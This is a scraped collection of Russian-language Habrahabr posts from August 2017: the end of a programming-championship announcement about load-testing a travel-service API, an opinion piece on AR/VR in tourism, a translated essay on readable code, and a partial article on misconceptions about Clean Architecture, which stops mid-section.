Рейтинговая проверка проводится так же, как и экспресс-проверка, просто на большем количестве данных и запросов. Примерно вот так:


  • перед обстрелом запланировано 180 секунд ожидания для того, чтобы решение участника могло проанализировать переданные тестовые данные и подготовиться к обстрелу;
  • 180 секунд длится первая фаза с линейным профилем от 1 до 200 RPS — будет выпущено: integral (199/180x + 1) dx from 0 to 180 = 18090 GET-запросов;
  • 120 секунд длится вторая фаза с постоянным профилем в 100 RPS — будет выпущено: 100 * 120 = 12 000 POST-запросов, меняющих данные;
  • 120 секунд длится третья фаза с линейным профилем от 200 до 2 000 RPS — будет выпущено: integral (1800/120x + 200) dx from 0 to 120 = 132 000 GET-запросов;
  • валидация ответов ~20 секунд — анализ результатов на сайте ~30 секунд.

Таким образом, сначала проверяется умение участника разложить данные в нужные ему структуры. Во первой фазе обстрела проверяется работа сервиса с начальной небольшой нагрузкой. Во второй — корректность обновления сервисом данных и возможная инвалидация кешей (если они понадобятся решению). В третьей же фазе обстрела мы постепенно наращиваем нагрузку, чтобы пощупать решение на прочность.


По результатам рейтинговой проверки участник занимает определенные места в лидерборде текущего чемпионата. Всего обстрел длится порядка 15 минут (при отсутствии очереди). Всего запросов в обстреле: 162 090. Возможно, в ходе чемпионата это число будет увеличиваться.


Решение участника является контейнером docker, который получен с помощью команды docker build. Максимальный размер контейнера на диске не должен превышать 5 Гб. Система проверки выполнит сначала docker pull и затем docker run. В случае успеха, начнется обстрел решения. Участник может использовать любые серверные технологии, языки, фреймворки по своему усмотрению (C++, Java + Tomcat, Python + Django, Ruby + RoR, JavaScript + NodeJs, Haskell или что-то еще). Также и для хранения данных: MySQL, Redis, MongoDB, Memcached — всё, что получится запихнуть в docker.


В результате обстрела получаются логи и метрики, которые затем будут показываться участникам в виде графиков на странице решения. Отдельно отслеживаются следующие метрики:


  • основные метрики;
  • корректность ответа;
  • время ответа на запрос;
  • количество ответов в секунду.


Рейтинг решения считается следующим образом: мы берем время всех верных ответов, которые успел дать API во время обстрела. Прибавляем к этому штрафное время для каждого неправильного ответа или запроса, ответ на который мы не смогли получить (штрафное время всегда равно общему таймауту запроса). Участник, суммарное время которого окажется меньше прочих, оказывается выше в лидерборде и имеет шанс стать победителем чемпионата.


Задача


В задаче первого чемпионата участникам нужно написать быстрый сервер, который будет предоставлять Web-API для сервиса путешественников. В начальных данных для сервера есть три вида сущностей: User (Путешественник), Location (Достопримечательность), Visit (Посещения). У каждой свой набор полей. Необходимо реализовать следующие запросы:


  • GET // для получения данных о сущности;
  • GET /users//visits для получения списка посещений;
  • GET /locations//avg для получения агрегированных данных;
  • POST // на обновление сущности;
  • POST //new на создание сущности.

Максимальное штрафное время на запрос равно таймауту и составляет 2 секунды (2кк микросекунд). Сразу перед запуском мы подкладываем в контейнер с сервисом данные в формате JSON (они будут доступны в /tmp/data). Решению дается некоторое время для того, чтобы вычитать эти данные и разнести их по внутренним структурам (допустим, разложить в БД).


HTTP-запросы приходят в поднятый контейнер на 80 порт, с заголовком Host: travels.com по протоколу HTTP/1.1, один запрос — одно соединение. Сетевые потери полностью отсутствуют.
Более подробное описание задачи, мини-tutorial для быстрого старта и прочие вспомогательные материалы вы найдете на сайте чемпионата. Кроме того, заходите к нам в Telegram, там всегда рады ответить на вопросы.


Регистрируйтесь, выигрывайте! Удачи!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335384/


Заменят ли AR/VR туризм и путешествия?

Пятница, 11 Августа 2017 г. 12:13 + в цитатник


Вот уже несколько лет, как все пророчат исчезновение десктопов под давлением смартфонов и планшетов. Мол, это анахронизм, громоздкие стационарные ящики, которые станут бесполезны в мире, где у каждого в кармане смартфон, решающий любые насущные задачи. Возможно, все эти люди, так ждущие ухода настольных компьютеров с исторической сцены, выступают в роли Родиона/Рудольфа из «Москва слезам не верит»: «Ничего не будет: ни кино, ни театра, ни книг, ни газет — одно сплошное телевидение». Хотя не исключено, что они окажутся правы — чем ближе мы к технологической сингулярности, тем более удивительны и быстры изменения технологий. Поэтому мы задались вопросом для пятничного поста: вдруг дополненная и виртуальная реальности заменят нам туризм и путешествия?

С наступлением лета сотни миллионов людей стараются вырваться из привычной среды кто куда: на курорты, в походы, в туристические поездки. Если посты в Facebook считать неким индикатором, то в немалой степени это обусловлено желанием родителей сохранить остатки рассудка и нервов во время летних каникул своих чад. Согласно статистике, за 14 солнечных недель американцы наматывают в дальних путешествиях 657 000 000 км.



Нет нужды говорить, что отпуск — вещь приятная, но что изменилось в туристической индустрии в последние десятилетия? Сто лет назад аэропланы превратились в быстрый транспорт, и это было круто. Затем появился интернет (тоже круто), который через некоторое время превратился в инструмент, помогающий людям искать, изучать и планировать путешествия в места, о которых они иначе бы и не узнали.

Конечно, время от времени тенденции могут объединяться. Жёсткие чемоданы стали причудой, люди наслаждаются Airbnb как альтернативой отелям, документируя идеально поставленными фотографиями в Instagram, чтобы вызвать зависть друзей, сидящих в в офисах. Но помимо пересечения трендов и нескольких серьёзных перемен, которым уже много десятилетий, в нашем способе проведения отпуска не было никаких сдвигов. До сегодняшнего момента.



С помощью AR/VR вы уже погрузились в путешествия


Как и во всех остальных сферах, в которые медленно внедряются дополненная и виртуальная реальности, индустрия туризма и путешествий использует доступные технологии, чтобы перекинуть мостик между сегодняшним моментом и неизбежным бумом AR/VR, даже если не все из них легко узнаваемы.

Начнём с простого примера: Pokemon Go. Если кто вдруг не в курсе безумия, которое совсем недавно буквально захлестнуло весь мир, — это игра на основе дополненной реальности, которую продвигали как способ стимулировать людей двигаться. Суть игры: выполнять задания по ловле конкретных покемонов в конкретных местах. Чтобы выполнять все задания, вам придётся путешествовать.



Смитсоновский институт в США одним из первых внедряет дополнения для туристов. Например, в Музее естественной истории попытались внедрить AR в экспозицию, которая, вероятно, на протяжении многих лет оставалась в значительной степени неизменной.

Эта экспозиция называлась Кости, она продвигала приложение Skin and Bones. В нём достаточно было навести смартфон на скелет, чтобы увидеть, как выглядело живое существо.



Сегодня в разных областях туристической индустрии можно встретить практически все комбинации VR/AR-устройств и приложений.

Отели начали использовать 360-градусные фотографии и видео, чтобы продвигать себя на Google Images. Многие музеи используют технологии вроде Hololens, чтобы «поставить» в свои помещения большие виртуальные объекты, например, корабль или самолёт. Бюро помощи туристам используют возможность привлечь потенциальных клиентов посредством захватывающего активного опыта, обеспечиваемого AR/VR-технологиями.

И хотя сегодня эти технологии не сопровождают все этапы наших путешествий, вы наверняка сможете найти хотя бы один пример их применения на пути от планирования до непосредственного отдыха.



Я уже путешествую и наслаждаюсь этим, так кого это волнует?


Ну, вас. По сути своей, отпуск — это желание и необходимость ненадолго вырваться из повседневной жизни. Так что возможность обеспечить людям наилучший возможный опыт вполне имеет смысл и ценность.

Давайте порассуждаем: сделав что-то в ходе своего отпуска, вы погружаетесь на минутку в рефлексию, стоило ли это потраченных денег или времени? Конечно, все мы об этом задумываемся, хотя бы на мгновение, говоря себе «это было круто» или «это было ужасно». Когда ваш отпуск заканчивается, то хотите ли вы ощущать, что время было проведено не зря, давая оценку своим выборам и решениям? Конечно! Иначе, отпуск не приносил бы удовольствия.

Но вы когда-нибудь смотрели на вещи, которые придавали чему-то ценность, и спрашивали себя, почему вы это чувствовали? Почти в любой ситуации опыт складывается из мелких подробностей, и именно здесь AR/VR вступают в игру.

Помните, как вы однажды посетили кузину своего шурина, у которой было четверо детей младше 6 лет? Разве не прошло меньше 20 минут, как вы вдруг осознали, что ваше истинное призвание — быть монахом в тихом монастыре? Либо вы нашли припрятанное в шкафу пиво.

Итак, пару бокалов и почти одну смену карьеры спустя вы обнаруживаете себя в компании беззаботной молодёжи в местном зоопарке. Но львы, медведи и три вида обезьян попрятались по вольерам. И в сопровождении криков недовольной малышни — созерцание пустых заборов дело скучное — вы наконец-то нашли жующего у себя в загоне верблюда, но он в вас плюнул.

Когда приключение закончилось, вы вспоминаете этот кошмарный опыт. И это даже не вина зоопарка, но худшее, что с произошло с вами в отпуске, если оно было достаточно плохим, может испортить всё впечатление от долгожданного отдыха. А теперь давайте рискнём объединить зоопарк и дополненную реальность.

Мобильные устройства (шлемы, смартфоны, планшеты) показывают детям, как дойти от одного вольера или здания к другому с помощью отслеживания «тропинок» в виде следов животных. Пустующие стойла неожиданно наполняются животными благодаря наложению реалистичных анимированных 3D-моделей.

Будет легче вложить крупицы знаний в восприимчивые детские умы, потому что информацию можно будет подавать постепенно, а не мощным всплеском. И хотя дети были беспокойными, и даже верблюд всё же плюнул вам в лицо, но общее впечатление от поездки уже другое.



То же самое справедливо и для других мест.



Вскоре вы будете спрашивать себя, как вы вообще могли путешествовать без AR/VR


Теперь, прежде чем вы скажете, что предпочитаете проводить отпуск подальше от цивилизации, позвольте спросить: как вы выбираете, куда отправиться? Как вы узнаёте о местах, которые хотите посетить, и как вы вообще туда добираетесь?

Даже если вы проводите отпуск безо всяких гаджетов, AR/VR однажды прочно утвердится в индустрии туризма, и вы наверняка будете просматривать 360-градусные фотографии или видео, чтобы посмотреть, куда бы вам отправиться.

Возможно, об этом природном парке вам кто-то рассказал, но вы наверняка ещё и видели всплывающую рекламу во время долгой сессии с вашим VR Hulu? А когда вы туда поехали, разве нашли бы вы нужное место, если бы у вас не было беспилотного автомобиля с функцией «прозрачной кабины», то есть дополненной реальности?

Суть в том, что когда подобные технологии станут глубже интегрированы в нашу повседневную жизнь, вроде смартфонов, вы не сможете совсем их избегать. Если только вы не решите отвергнуть человеческое общество и стать отшельником, живущем в палатке неподалёку от какого-нибудь водоёма.

Все эти технологии изменят наш привычный подход к туризму. Для большинства людей туризм станет более приятным занятием.

Планирование


Вы уже определились со временем отпуска и держите на примете несколько мест, куда можно отправиться. Но как из них выбрать? С помощью виртуальной реальности.

Подключив свои очки VR, вы сможете изучить или осмотреть популярные места, словно вы побывали там сами. Прогуляетесь по улицам Парижа, проплывёте по венецианским каналам. По пять минут на каждую локацию, и вы сможете принять обоснованное решение.

Бронирование


Бронирование жилья — одна из самых пугающих вещей в путешествиях. Вооружившись одним лишь фотографиями, может быть непросто удалённо выбрать отель или курорт. Даже в случае с прекрасно снятыми и обработанными фотографиями на сайте отеля неизбежен риск их обманчивости.

Вы выбираете комнату на основе роскошных снимков прекрасной кровати у большого окна. Но когда вы приезжаете в отель, то обнаруживаете, что фотографии были сделаны с самого выгодного ракурса. А если походить по номер, то выяснится, что замок раздолбан, грязь в душе наверняка помешает вашим ежедневным омовениями, а пятно на полу явно старше вас.

Но если бы вы смогли посмотреть 360-градусные фотографии или видео, то от вас было бы сложнее скрыть недостатки номера. Конечно, вам вряд ли понравится разглядывать запятнанный ковёр во время виртуальной экскурсии, но хотя бы вас не введут в заблуждение и вы сможете поискать подходящую альтернативу.

Перелет




Прекрасные и ужасные одновременно, перелёты — ключевой элемент многих отпусков. Я много летал, и не могу сказать, что с нетерпением ждал возможности провести долгие часы в тесном кресле.
Несмотря на бесконечность списка недостатков авиаперелётов, скука — моя главная проблема. Но только представьте, что во время 22-часового перелёта в Австралию вы можете поучаствовать в парочке различных приключений. Возможно, их подарит вам свежий 3D-VR-фильм, или вы просто исследуете виртуальную копию города, в который летите. Некоторые авиакомпании уже начинают использовать эту технологию, чтобы приободрить пассажиров во время полёта, и, скорее всего, они присоединятся к революции в туризме, по мере того, как VR-очки будут всё чаще использоваться в качестве развлекательной опции вместо экранов на спинках кресел. И VR/AR — лишь одна из технологий, которая изменит наши перелёты.

Навигация


Итак, вы прилетели в незнакомый город. Скорее всего, вы не одни, сами также путешествуют:
• Тот, кто хочет гулять не думая о направлении. Этот облом, что вы положились на неё в обеденное время и оказались в той части города, где поесть не так-то просто.
• Любитель олдскульных карт. Хотя у него в смартфоне есть интерактивная и всегда актуальная карта, его потребность в использовании бумажной карты шестилетней давности завела вас в Омаху (а разве вы были не во Флориде?).
• Путешественник «я не спрашиваю дороги». С таким управиться можно только одним способом — самостоятельно спрашивая дорогу, не полагаясь на него и не слушая его.

К счастью, навигация с дополненной реальностью всё ближе к коммерческой эксплуатации. Вскоре вам не придётся думать о том, где вам перекусить, путешествуя по ночным улицам города в далёкой стране. В AR-очках вам будут услужливо показывать направление на всевозможные туристические, культурные, инфраструктурные и прочие объекты.

Достопримечательности


Будь то Пизанская башня или причудливый маленький музейчик, вы сможете получить более личный опыт, посещая интересующие вас места.

Допустим, вы прогуливаетесь по старому Парижу в направлении к Эйфелевой башне. Вместо того, чтобы вести себя как стандартный турист — сфотографировал, опять сфотографировал, обошёл вокруг, осмотрел и так далее — вы хотите получить уникальные впечатления.

Вы скачиваете приложение «Парижский путешественник» и выбираете, что вы хотите. Например, 30% истории, 40% романтики, 10% еды и 20% стандартных туристических моментов. Приложение подбирает для вас маршрут, и неожиданно вы видите Париж полностью отвечающим вашим желаниям.

Вместо того, чтобы через каждые 15 метров получать очередной исторический факт, что придётся по душе любителям истории, вы получаете удивительный факт раз в час, по мере того, маршрут ведёт вас по романтическим местам. Вы легко находите прекрасные ресторанчики и кафе, и при этом вам не нужно беспокоиться, что вы пропустите наиболее желанные достопримечательности, поскольку вы уже указали их в своих предпочтениях.



Офигенно! Я всё это вижу в виртуальной реальности. Так зачем мне платить за то, чтобы туда поехать?


Это самый распространённый вопрос, который мне задают, когда я начинаю рассказывать о том, как AR/VR повлияет на путешествия и туризм. Я вижу, что люди считают это здравым аргументом, но это не так.

Виртуальная и дополненная реальности никоим образом не будут препятствовать стремлению людей путешествовать. Вместо этого они будут делать совершенно обратное.
Вспомните, как вы впервые прокатились на виртуальных американских горках. Вы неслись по ним, был классно, а потом всё закончилось.

Спросите себя:
• Вы хотели сначала попробовать американские горки? Если нет, то, скорее всего, вам не нравятся американские горки, и нет смысла спорить о вашем решении не пойти на настоящий аттракцион.
• Когда вы были виртуальных на американских горках, вы получили то же самое, что и на настоящих? Нет. Если только вы не были в очень большой профессиональной VR-установке, то вы не ощущали ветра на лице, ваш мозг не получил от органов чувств всего спектра данных, необходимых для того, чтобы опыт был «цельным».
• Вам понравилась VR-версия, но решили ли вы после этого, что нет смысла идти на настоящие горки, если представится такая возможность? Конечно нет! Вам нравятся американские горки, и возможность попробовать их в виртуальной форме лишь подогревает ваше желание испытать это в живую.

Возвращаясь к AR и VR в туризме: виртуальная реальность — это презентация, а дополненная реальность — расширение опыта.

Конечно, будут исключения. Я, например, не выкрою себе десять лет на отпуск, чтобы посетить Марс. Так что пока космические путешествия не станут более эффективными, я с радостью заплачу за виртуальный отпуск на Красной планете.



У путешествий в виртуальной реальности есть дополнительные преимущества. Возможно, вы отчаянно хотите посмотреть на мир с вершины Эвереста, но не можете туда взойти по здоровью или иным причинам. А может быть, вы мечтаете увидеть храмы инков, но ваш бюджет не потянет такого путешествия. В подобных случаях платные виртуальные туры могут открыть мир тем, кто не имеет возможности увидеть его иначе.

Итак, пропустят ли люди туристический сезон ради удобства посещения Венеции у себя дома на диване в очках виртуальной реальности? Вряд ли. Если вы можете куда-то поехать, то эти технологии лишь укрепят ваше желание побывать там самостоятельно после «тестового визита».
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335406/


Метки:  

Хороший код — наша лучшая документация

Пятница, 11 Августа 2017 г. 10:46 + в цитатник
Привет Хабр! Предлагаю вашему вниманию свободный перевод статьи «Good code is its own best documentation» от Amit Shekhar.

image

Хороший код, как хорошая шутка — не требует объяснений.

Если ваш код прост и понятен, то по большей части, к нему не нужно комментариев и документации.

Хороший код похож на автомобиль с отличным стерео и подстаканниками, который без проблем разгоняется до предела. Когда он ломается, любой механик может исправить его в короткие сроки, используя обычные инструменты.

Плохой код похож на автомобиль, который обещает быть в состоянии достигнуть 120 км/ч, но имеет стерео, который принимает только кассетные ленты, а подстаканники имеют наклонные днища. Каждый раз, когда вы пытаетесь настроить зеркала, автомобиль взрывается в пламени и должен быть отремонтирован конкретным человеком, который собрал его на сборочной линии, используя свои уникальные инструменты.

Хороший код похож на хорошо написанный учебник


  • Прост и понятен
  • Удобно разбит на главы, каждая из которых посвящена четко определенной теме

Плохой код похож на плохо написанный учебник


  • Все главы ссылаются друг на друга, и непонятно, о чем вообще идет речь
  • Снова и снова рассказывается об одном и том же, причем причин для этого нет
  • Автор упоминает несколько исключений из правил, при этом часто противоречит сам себе
  • Внезапно появляется вампир! Он искрится на солнце

Вот о чем важно не забывать, если хотите написать хороший код:


  • Наглядность — для вас и каждого, кто решит заглянуть в ваш код
  • Возможность поддержки — ваш код должен быть легко модифицируемым
  • Простота — не стоит все беспричинно усложнять
  • Эффективность — ваш код должен работать настолько быстро, насколько это вообще возможно
  • Понятность — если ваш код прост и понятен, в большинстве случаев комментариев не требуется вовсе. Выбирайте такие названия свойств и методов, чтобы сразу было понятно что он делает
  • Низкое соотношение возмущений и удивленных возгласов в минуту — минимизирует частоту, с которой другой разработчик будет читать ваш код и говорить «WTF?!»

Проверка качества кода


Покажите ваш код другому программисту, который его еще не видел, и пусть он попробует объяснить, что выполняет каждый модуль, а вы внимательно слушайте.

Чем больше вам хочется перебить и объяснить по-своему, тем, скорее всего, хуже ваш код.

Если вы можете спокойно и молча слушать, а человек рядом с вами все объясняет и не задает вопросов, возможно, ваш код хорош.

Признаки хорошего кода:


  • Он выглядит умным, но не заумным
  • Вы можете вернуться к написанию кода после выходных, и сразу приступить к работе без переосмысливания написанного
  • Алгоритмы оптимальны по скорости и по удобочитаемости
  • Классы, переменные и функции названы так, что не нужно напрягать мозг, чтобы понять, зачем они нужны
  • Каждый из ваших классов предназначен для одной, ясно выраженной цели, и отделен от других классов
  • Ваши методы короткие – в идеале короче 50 строк, и уж точно не больше 100
  • Методы предназначены для выполнения одной задачи
  • Названия методов однозначно определяют то, что они делают, и вам не нужно смотреть на код внутри этого метода
  • Если нужно вернуться и добавить/модифицировать какую-нибудь функцию, это не должно вызывать затруднений
  • Ваши try/catch блоки малы настолько, насколько это возможно
  • Unit-тесты пишутся легко и без особых усилий

Хороший код является модульным


Допустим, в вашем проекте есть три слоя — внутренний, средний и внешний.

Ваш внутренний слой не должен ничего знать о вашем среднем или внешнем слое. Ваш средний слой не должен ничего знать о вашем внешнем слое.

Таким образом, ваш внутренний кодовый слой может быть протестирован независимо от других.

Подробнее об этом читайте в этой статье (Ссылка переводчика)

“Хороший код — наша лучшая документация” — Steve McConnell
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335400/


Метки:  

Заблуждения Clean Architecture

Пятница, 11 Августа 2017 г. 10:39 + в цитатник
Превращаем круги в блоки

­­ 


На первый взгляд, Clean Architecture – довольно простой набор рекомендаций к построению приложений. Но и я, и многие мои коллеги, сильные разработчики, осознали эту архитектуру не сразу. А в последнее время в чатах и интернете я вижу всё больше ошибочных представлений, связанных с ней. Этой статьёй я хочу помочь сообществу лучше понять Clean Architecture и избавиться от распространенных заблуждений.


Сразу хочу оговориться, заблуждения – это дело личное. Каждый в праве заблуждаться. И если это его устраивает, то я не хочу мешать. Но всегда хорошо услышать мнения других людей, а зачастую люди не знают даже мнений тех, кто стоял у истоков.


Истоки


В 2011 году Robert C. Martin, также известный как Uncle Bob, опубликовал статью Screaming Architecture, в которой говорится, что архитектура должна «кричать» о самом приложении, а не о том, какие фреймворки в нем используются. Позже вышла статья, в которой Uncle Bob даёт отпор высказывающимся против идей чистой архитектуры. А в 2012 году он опубликовал статью «The Clean Architecture», которая и является основным описанием этого подхода.
Кроме этих статей я также очень рекомендую посмотреть видео выступления Дяди Боба.


Вот оригинальная схема из статьи, которая первой всплывает в голове разработчика, когда речь заходит о Clean Architecture:


Оригинальная схема

В Android-сообществе Clean стала быстро набирать популярность после статьи Architecting Android...The clean way?, написанной Fernando Cejas. Я впервые узнал про Clean Architecture именно из неё. И только потом пошёл искать оригинал. В этой статье Fernando приводит такую схему слоёв:


Схема от Fernando Cejas

То, что на этой схеме другие слои, а в domain слое лежат ещё какие-то Interactors и Boundaries, сбивает с толку. Оригинальная картинка тоже не всем понятна. В статьях многое неоднозначно или слегка абстрактно. А видео не все смотрят (обычно из-за недостаточного знания английского). И вот, из-за недопонимания, люди начинают что-то выдумывать, усложнять, заблуждаться…


Давайте разбираться!


Сlean Architecture


Clean Architecture объединила в себе идеи нескольких других архитектурных подходов, которые сходятся в том, что архитектура должна:


  • быть тестируемой;
  • не зависеть от UI;
  • не зависеть от БД, внешних фреймворков и библиотек.

Это достигается разделением на слои и следованием Dependency Rule (правилу зависимостей).


Dependency Rule


Dependency Rule говорит нам, что внутренние слои не должны зависеть от внешних. То есть наша бизнес-логика и логика приложения не должны зависеть от презентеров, UI, баз данных и т.п. На оригинальной схеме это правило изображено стрелками, указывающими внутрь.


В статье сказано: имена сущностей (классов, функций, переменных, чего угодно), объявленных во внешних слоях, не должны встречаться в коде внутренних слоев.


Это правило позволяет строить системы, которые будет проще поддерживать, потому что изменения во внешних слоях не затронут внутренние слои.


Слои


Uncle Bob выделяет 4 слоя:


  • Entities. Бизнес-логика общая для многих приложений.
  • Use Cases (Interactors). Логика приложения.
  • Interface Adapters. Адаптеры между Use Cases и внешним миром. Сюда попадают Presenter’ы из MVP, а также Gateways (более популярное название репозитории).
  • Frameworks. Самый внешний слой, тут лежит все остальное: UI, база данных, http-клиент, и т.п.

Подробнее, что из себя представляют эти слои, мы рассмотрим по ходу статьи. А пока остановимся на передаче данных между ними.


Переходы


Переходы между слоями осуществляются через Boundaries, то есть через два интерфейса: один для запроса и один для ответа. Их можно увидеть справа на оригинальной схеме (Input/OutputPort). Они нужны, чтобы внутренний слой не зависел от внешнего (следуя Dependency Rule), но при этом мог передать ему данные.


Поток данных на оригинальной схеме

Оба интерфейса относятся к внутреннему слою (обратите внимание на их цвет на картинке).


Смотрите, Controller вызывает метод у InputPort, его реализует UseCase, а затем UseCase отдает ответ интерфейсу OutputPort, который реализует Presenter. То есть данные пересекли границу между слоями, но при этом все зависимости указывают внутрь на слой UseCase’ов.


Чтобы зависимость была направлена в сторону обратную потоку данных, применяется принцип инверсии зависимостей (буква D из аббревиатуры SOLID). То есть, вместо того чтобы UseCase напрямую зависел от Presenter’a (что нарушало бы Dependency Rule), он зависит от интерфейса в своём слое, а Presenter должен этот интерфейс реализовать.


Точно та же схема работает и в других местах, например, при обращении UseCase к Gateway/Repository. Чтобы не зависеть от репозитория, выделяется интерфейс и кладется в слой UseCases.


Что же касается данных, которые пересекают границы, то это должны быть простые структуры. Они могут передаваться как DTO или быть завернуты в HashMap, или просто быть аргументами при вызове метода. Но они обязательно должны быть в форме более удобной для внутреннего слоя (лежать во внутреннем слое).


Особенности мобильных приложений


Надо отметить, что Clean Architecture была придумана с немного иным типом приложений на уме. Большие серверные приложения для крупного бизнеса, а не мобильные клиент-серверные приложения средней сложности, которые не нуждаются в дальнейшем развитии (конечно, бывают разные приложения, но согласитесь, в большей массе они именно такие). Непонимание этого может привести к overengineering’у.


На оригинальной схеме есть слово Controllers. Оно появилось на схеме из-за frontend’a, в частности из Ruby On Rails. Там зачастую разделяют Controller, который обрабатывает запрос и отдает результат, и Presenter, который выводит этот результат на View.
Многие не сразу догадываются, но в android-приложениях Controllers не нужны.


Ещё в статье Uncle Bob говорит, что слоёв не обязательно должно быть 4. Может быть любое количество, но Dependency Rule должен всегда применяться.


Глядя на схему из статьи Fernando Cejas, можно подумать, что автор воспользовался как раз этой возможностью и уменьшил количество слоев до трёх. Но это не так. Если разобраться, то в Domain Layer у него находятся как Interactors (это другое название UseCase’ов), так и Entities.


Все мы благодарны Fernando за его статьи, которые дали хороший толчок развитию Clean в Android-сообществе, но его схема также породила и заблуждение.


Заблуждение: Слои и линейность


Сравнивая оригинальную схему от Uncle Bob’a и cхему Fernando Cejas’a многие начинают путаться. Линейная схема воспринимается проще, и люди начинают неверно понимать оригинальную. А не понимая оригинальную, начинают неверно толковать и линейную. Кто-то думает, что расположение надписей в кругах имеет сакральное значение, или что надо использовать Controller, или пытаются соотнести названия слоёв на двух схемах. Смешно и грустно, но основные схемы стали основными источниками заблуждения!


Постараемся это исправить.
Для начала давайте очистим основную схему, убрав из нее лишнее для нас. И переименуем Gateways в Repositories, т.к. это более распространенное название этой сущности.


Упрощенная оригинальная схема

Стало немного понятнее.
Теперь мы сделаем вот что: разрежем слои на части и превратим эту схему в блочную, где цвет будет по-прежнему обозначать принадлежность к слою.


Превращаем круги в блоки

Как я уже сказал выше, цвета обозначают слои. А стрелка внизу обозначает Dependency Rule.


На получившейся схеме уже проще представить себе течение данных от UI к БД или серверу и обратно. Но давайте сделаем еще один шаг к линейности, расположив слои по категориям:


Слои по категориям

Я намеренно не называю это разделение слоями, в отличие от Fernando Cejas. Потому что мы и так делим слои. Я называю это категориями или частями. Можно назвать как угодно, но повторно использовать слово «слои» не стоит.


А теперь давайте сравним то, что получилось, со схемой Fernando.


Сравнение со схемой Fernando Cejas

Надеюсь теперь вcё начало вставать на свои места. Выше я говорил, что, по моему мнению, у Fernando всё же 4 слоя. Думаю теперь это тоже стало понятнее. В Domain части у нас находятся и UseCases и Entities.


Такая схема воспринимается проще. Ведь обычно события и данные в наших приложениях ходят от UI к backend’у или базе данных и обратно. Давайте изобразим этот процесс:


Поток данных от UI и обратно

Красными стрелками показано течение данных.
Событие пользователя идет в Presenter, тот передает в Use Case. Use Case делает запрос в Repository. Repository получает данные где-то, создает Entity, передает его в UseCase. Так Use Case получает все нужные ему Entity. Затем, применив их и свою логику, получает результат, который передает обратно в Presenter. А тот, в свою очередь, отображает результат в UI.


На переходах между слоями (не категориями, а слоями, отмеченными разным цветом) используются Boundaries, описанные ранее.


Теперь, когда мы поняли, как соотносятся две схемы, давайте рассмотрим следующее заблуждение.


Заблуждение: Слои, а не сущности


Как понятно из заголовка, кто-то думает, что на схемах изображены сущности (особенно это затрагивает UseCases и Entities). Но это не так.


На схемах изображены слои, в них может находиться много сущностей. В них будут находиться интерфейсы для переходов между слоями (Boundaries), различные DTO, основные классы слоя (Interactors для слоя UseCases, например).


Не будет лишним взглянуть на схему, собранную из частей, показанных в видео выступления Uncle Bob’a. На ней изображены классы и зависимости:


Схема классов из выступления Uncle Bob

Видите двойные линии? Это границы между слоями. Разделение между слоями Entities и UseCases не показаны, так как в видео основной упор делался на том, что вся логика (приложения и бизнеса) отгорожена от внешнего мира.


C Boundaries мы уже знакомы, интерфейс Gateway – это то же самое. Request/ResponseModel – просто DTO для передачи данных между слоями. По правилу зависимости они должны лежать во внутреннем слое, что мы и видим на картинке.


Про Controller мы тоже уже говорили, он нас не интересует. Его функцию у нас выполняет Presenter.


А ViewModel на картинке – это не ViewModel из MVVM и не ViewModel из Architecture Components. Это просто DTO для передачи данных View, чтобы View была тупой и просто сетила свои поля. Но это уже детали реализации и будет зависеть от выбора презентационного паттерна и личных подходов.


В слое UseCases находятся не только Interactor’ы, но также и Boundaries для работы с презентером, интерфейс для работы с репозиторием, DTO для запроса и ответа. Отсюда можно сделать вывод, что на оригинальной схеме отражены всё же слои.


Заблуждение: Entities


Entities по праву занимают первое место по непониманию.
Мало того, что почти никто (включая меня до недавнего времени) не осознает, что же это такое на самом деле, так их ещё и путают с DTO.


Однажды в чате у меня возник спор, в котором мой оппонент доказывал мне, что Entity – это объекты, полученные после парсинга JSON в data-слое, а DTO – объекты, которыми оперируют Interactor’ы…

Постараемся хорошо разобраться, чтобы таких заблуждений больше не было ни у кого.


Что же такое Entities?


Чаще всего они воспринимаются как POJO-классы, с которыми работают Interactor’ы. Но это не так. По крайней мере не совсем.


В статье Uncle Bob говорит, что Entities инкапсулируют логику бизнеса, то есть всё то, что не зависит от конкретного приложения, а будет общим для многих.
Но если у вас отдельное приложение и оно не заточено под какой-то существующий бизнес, то Entities будут являться бизнес-объектами приложения, содержащими самые общие и высокоуровневые правила.


Я думаю, что именно фраза: «Entities это бизнес объекты», – запутывает больше всего. Кроме того, на приведенной выше схеме из видео Interactor получает Entity из Gateway. Это также подкрепляет ощущение, что это просто POJO объекты.


Но в статье также говорится, что Entity может быть объектом с методами или набором структур и функций.
То есть упор делается на то, что важны методы, а не данные.


Это также подтверждается в разъяснении от Uncle Bob’а, которое я нашел недавно:
Uncle Bob говорит, что для него Entities содержат бизнес-правила, независимые от приложения. И они не просто объекты с данными. Entities могут содержать ссылки на объекты с данными, но основное их назначение в том, чтобы реализовать методы бизнес-логики, которые могут использоваться в различных приложениях.


А по-поводу того, что Gateways возвращают Entities на картинке, он поясняет следующее:
Реализация Gаteway получает данные из БД, и использует их, чтобы создать структуры данных, которые будут переданы в Entities, которые Gateway вернет. Реализовано это может быть композицией


class MyEntity { private MyDataStructure data;}

или наследованием


class MyEntity extends MyDataStructure {...} 

И в конце ответа фраза, которая меня очень порадовала:


And remember, we are all pirates by nature; and the rules I'm talking about here are really more like guidelines…
(И запомните: мы все пираты по натуре, и правила, о которых я говорю тут, на самом деле, скорее рекомендации…)

Действительно, не надо слишком буквально всё воспринимать, надо искать компромиссы и не делать лишнего. Все-таки любая архитектура призвана помогать, а не мешать.


Итак, слой Entities содержит:


  • Entities – функции или объекты с методами, которые реализуют логику бизнеса, общую для многих приложений (а если бизнеса нет, то самую высокоуровневую логику приложения);
  • DTO, необходимые для работы и перехода между слоями.

Кроме того, когда приложение отдельное, то надо стараться находить и выделять в Entities высокоуровневую логику из слоя UseCases, где зачастую она оседает по ошибке.


Заблуждение: UseCase и/или Interactor


Многие путаются в понятиях UseCase и Interactor. Я слышал фразы типа: «Канонического определения Interactor нет». Или вопросы типа: «Мне делать это в Interactor’e или вынести в UseCase?».


Косвенное определение Interactor’a встречается в статье, которую я уже упоминал в самом начале. Оно звучит так:
«...interactor object that implements the use case by invoking business objects.»
Таким образом:
Interactor – объект, который реализует use case (сценарий использования), используя бизнес-объекты (Entities).


Что же такое Use Case или сценарий использования?
